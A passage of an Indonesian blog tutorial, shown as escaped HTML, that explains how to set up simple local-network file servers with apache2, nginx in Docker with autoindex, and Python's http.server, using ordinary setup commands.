&lt;/span&gt;&lt;span&gt;apacheHttpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How to use&lt;a href=&quot;#how-to-use&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara menggunakannya cukup sederhana, ketikkan perintah berikut di terminal untuk mengetahui statusnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apache2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalau ingin menghentikan &lt;em&gt;service&lt;/em&gt;-nya, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apache2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalau ingin melihat statusnya (apakah sedang berjalan atau tidak), gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apache2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihatnya di browser, kita dapat mengetikkan alamat berikut, &lt;code&gt;localhost:80&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;apache statung: running&quot; loading=&quot;lazy&quot; width=&quot;1626&quot; height=&quot;916&quot; src=&quot;/_astro/ss1.VwjwFgDj_1xWUVu.webp&quot; /&gt;&lt;figcaption&gt;apache statung: running&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar, apache2 saya sudah berjalan (&lt;em&gt;&lt;strong&gt;running&lt;/strong&gt;&lt;/em&gt;). Terlihat seperti tampilan website pada umumnya, bukan? Tapi, kita bisa ubah fungsinya sebagai file server.&lt;/p&gt;&lt;p&gt;Caranya, kita pergi ke direktori &lt;code&gt;/var/www/html&lt;/code&gt;. Disana, kita bisa melihat ada file &lt;code&gt;index.html&lt;/code&gt; yang berfungsi menampilkan halaman website tersebut. Agar web server ini bisa berfungsi sebagai file server, kita dapat menghapus / mengubah nama file tersebut ke nama yang berbeda, misalnya jadi &lt;code&gt;index.html.bak&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;index.html&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;index.html.bak&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;renaming index.html&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;353&quot; src=&quot;/_astro/ss2.DgC1X2tB_1QKFwM.webp&quot; /&gt;&lt;figcaption&gt;renaming index.html&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Maka, tampilan halamannya akan berubah seperti berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;apache2 web page&quot; loading=&quot;lazy&quot; width=&quot;668&quot; height=&quot;429&quot; src=&quot;/_astro/ss3.5rlphjeW_Z14yXVu.webp&quot; /&gt;&lt;figcaption&gt;apache2 web page&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekarang, apache2 sudah dapat digunakan untuk melakukan &lt;em&gt;file sharing&lt;/em&gt;. Caranya, file apapun yang ingin kalian bagikan dapat dipindahkan ke direktori &lt;code&gt;/var/www/html&lt;/code&gt;. Nanti, komputer lain (di jaringan yang sama) akan dapat mengakses file-file tersebut dan mengunduhnya jika diperlukan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;apache2 as file server&quot; loading=&quot;lazy&quot; width=&quot;1778&quot; height=&quot;886&quot; src=&quot;/_astro/ss4.CKXk-Svg_Z1LVpyr.webp&quot; /&gt;&lt;figcaption&gt;apache2 as file server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. nginx&lt;a href=&quot;#2-nginx&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mirip seperti apache2, &lt;a href=&quot;https://nginx.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;nginx&lt;/strong&gt;&lt;/a&gt; (cara bacanya: “&lt;strong&gt;engine x&lt;/strong&gt;”) adalah program atau &lt;em&gt;software open source&lt;/em&gt; yang didesain untuk web server. Banyak perusahaan-perusahaan dan programmer-progammer yang menggunakan nginx karena itu dia juga dapat berfungsi sebagai banyak hal lain, seperti proxy. Kita juga dapat memanfaatkan layanan ini sebagai file server. Tapi, mari kita &lt;em&gt;install&lt;/em&gt; terlebih dahulu…&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sebagai variasi cara instalasi, saya akan install &lt;code&gt;nginx&lt;/code&gt; dari docker. Berikut adalah cara untuk men-&lt;em&gt;download&lt;/em&gt; file image &lt;code&gt;nginx&lt;/code&gt; dari docker:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nginx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan docker &lt;code&gt;nginx&lt;/code&gt; sudah berhasil di-&lt;em&gt;download&lt;/em&gt;, kita bisa test dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nginx-web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8080:80&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nginx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian buka di web browser &lt;code&gt;http://localhost:8080&lt;/code&gt;. Pastikan muncul “&lt;strong&gt;&lt;em&gt;welcome message&lt;/em&gt;&lt;/strong&gt;” seperti ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;nginx&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;464&quot; src=&quot;/_astro/ss9.B1RvCPdk_Z1rD2Xb.webp&quot; /&gt;&lt;figcaption&gt;nginx&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Lebih detail tentang docker:&lt;br /&gt;
&lt;a href=&quot;/posts/tech/docker/&quot;&gt;Docker: A Powerful Containerization Platform (+ Lazydocker)&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How to use&lt;a href=&quot;#how-to-use-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sebelum menjalankan nginx, kita perlu membuat 2 hal:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Direktori/folder untuk dijadikan sebagai file server (yang menyimpan kumpulan file atau direktori-direktori yang ingin kita bagikan).&lt;/li&gt;
&lt;li&gt;Direktori untuk menyimpan file konfigurasi &lt;code&gt;nginx&lt;/code&gt;-nya.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Oke, mula-mula, kita buat dulu direktori file servernya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/nginx-fileserver&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah direktori file servernya berhasil dibuat, kita bisa memindahkan/membuat file-file dan direktori/subdirektori yang akan kita bagikan dari sana.&lt;/p&gt;&lt;p&gt;Kemudian, kita buatkan juga direktori untuk menyimpan file konfigurasi sekaligus file konfigurasi &lt;code&gt;nginx&lt;/code&gt; itu sendiri:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# membuat direktori untuk menyimpan file konfigurasi nginx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/nginx-fileserver-conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# membuat file konfigurasi nginx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cat&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;~/nginx-fileserver-conf/default.conf&lt;/span&gt;&lt;span&gt; &amp;lt;&amp;lt; &lt;/span&gt;&lt;span&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;server {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;listen 80;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;server_name localhost;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;location / {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;root /usr/share/nginx/html;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;autoindex on;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;autoindex_exact_size off;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;autoindex_localtime on;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;EOF&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Penjelasan opsi autoindex:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;autoindex on&lt;/code&gt; → aktifin directory listing&lt;/li&gt;
&lt;li&gt;&lt;code&gt;autoindex_exact_size off&lt;/code&gt; → ukuran file ditampilin dalam KB/MB (lebih gampang dibaca), bukan bytes persis&lt;/li&gt;
&lt;li&gt;&lt;code&gt;autoindex_localtime on&lt;/code&gt; → timestamp file pakai waktu lokal server, bukan GMT&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Dan kita bisa jalankan &lt;code&gt;nginx&lt;/code&gt;-nya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--name&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nginx-fileserver&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8080:80&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/nginx-fileserver:/usr/share/nginx/html&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/nginx-fileserver-conf/default.conf:/etc/nginx/conf.d/default.conf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;nginx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, nginx akan menampilkan daftar file dan subdirektori yang ada di dalam folder &lt;code&gt;~/nginx-fileserver&lt;/code&gt; yang sudah kita buat sebelumnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;nginx as file server&quot; loading=&quot;lazy&quot; width=&quot;1281&quot; height=&quot;615&quot; src=&quot;/_astro/ss10.BZ0hzZ3o_199dBR.webp&quot; /&gt;&lt;figcaption&gt;nginx as file server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Python Simple HTTP&lt;a href=&quot;#3-python-simple-http&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga dapat membuat sebuah web server “mini” menggunakan &lt;a href=&quot;https://www.python.org/&quot; target=&quot;_blank&quot;&gt;Python&lt;/a&gt;. Python dalam konteks ini adalah bahasa pemrograman tingkat tinggi yang dibuat oleh Guido van Rossum pada akhir tahun 1980an.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Disebut bahasa pemrograman tingkat tinggi karena &lt;em&gt;syntax&lt;/em&gt; atau aturan menulis-nya yang mudah dipahami oleh manusia.&lt;/p&gt;&lt;p&gt;Saat ini, Python sudah banyak digunakan oleh hampir semua bidang teknologi, mulai dari web developer, data science &amp;amp; data analysis, machine learning, robotic, hingga artificial intelligence (AI). Bahkan, beberapa perusahaan besar seperti Google, Spotify, Netflix, dan Facebook juga diklaim menggunakan Python dalam proses pengembangan produk mereka. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Yang perlu diperhatikan adalah bahwa versi Python yang akan saya jelaskan di sini adalah Python3, bukan Python2. Sebab, pengembangan Python2 sudah tidak dilanjutkan sehingga yang masih di-&lt;em&gt;maintain&lt;/em&gt; oleh developer (artinya masih &lt;em&gt;up-to-date&lt;/em&gt;) adalah yang versi Python3.&lt;/p&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;python&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install python3-full&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy python&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install python&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;Python tidak perlu di-&lt;em&gt;install&lt;/em&gt; di Fedora karena secara default sudah terpasang.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;configuration.nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;python3Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;python3Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How to use&lt;a href=&quot;#how-to-use-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara menggunakannya sangat sederhana, (bahkan boleh dibilang lebih sederhana daripada men-&lt;em&gt;set up&lt;/em&gt; apache2. Kita hanya perlu mengetikkan satu baris perintah berikut di terminal, di direktori manapun yang ingin kita bagikan filenya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;http.server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Maka, Python akan membuka port 8000 di localhost…&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Python Simple HTTP Server&quot; 